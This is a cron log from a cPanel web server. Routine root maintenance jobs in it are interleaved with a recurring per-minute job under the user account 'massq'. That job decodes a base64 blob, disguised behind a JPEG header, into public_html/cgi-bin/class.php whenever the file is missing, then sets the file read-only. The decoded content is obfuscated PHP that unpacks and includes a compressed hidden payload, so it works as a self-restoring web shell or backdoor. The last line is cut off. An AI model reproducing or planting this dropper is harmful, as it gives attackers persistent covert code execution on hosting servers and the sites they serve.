Aug 31 04:50:01 server CROND[7873]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:50:01 server CROND[7874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:50:01 server CROND[7875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:50:01 server CROND[7879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:50:01 server CROND[7877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:50:01 server CROND[7876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:50:01 server CROND[7881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:51:01 server CROND[8842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:51:01 server CROND[8843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:51:01 server CROND[8844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:52:01 server CROND[9230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:52:01 server CROND[9231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:52:01 server CROND[9232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:53:01 server CROND[9613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:53:01 server CROND[9612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:53:01 server CROND[9614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:54:01 server CROND[10010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:54:01 server CROND[10011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:54:01 server CROND[10012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:55:01 server CROND[10404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:55:01 server CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:55:01 server CROND[10407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:55:01 server CROND[10405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:55:01 server CROND[10411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:55:01 server CROND[10408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:55:01 server CROND[10409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:56:01 server CROND[11344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:56:01 server CROND[11345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:56:01 server CROND[11346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:57:01 server CROND[11733]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:57:01 server CROND[11736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:57:01 server CROND[11735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:57:01 server CROND[11737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:58:01 server CROND[12126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:58:01 server CROND[12128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:58:01 server CROND[12127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:59:01 server CROND[12538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:59:01 server CROND[12539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:59:01 server CROND[12540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:00:01 server CROND[13126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:00:01 server CROND[13125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:00:01 server CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:00:01 server CROND[13134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:00:01 server CROND[13132]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:00:01 server CROND[13135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:00:01 server CROND[13137]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 05:00:01 server CROND[13133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:00:01 server CROND[13138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:01:01 server CROND[14384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:01:01 server CROND[14383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:01:01 server CROND[14392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx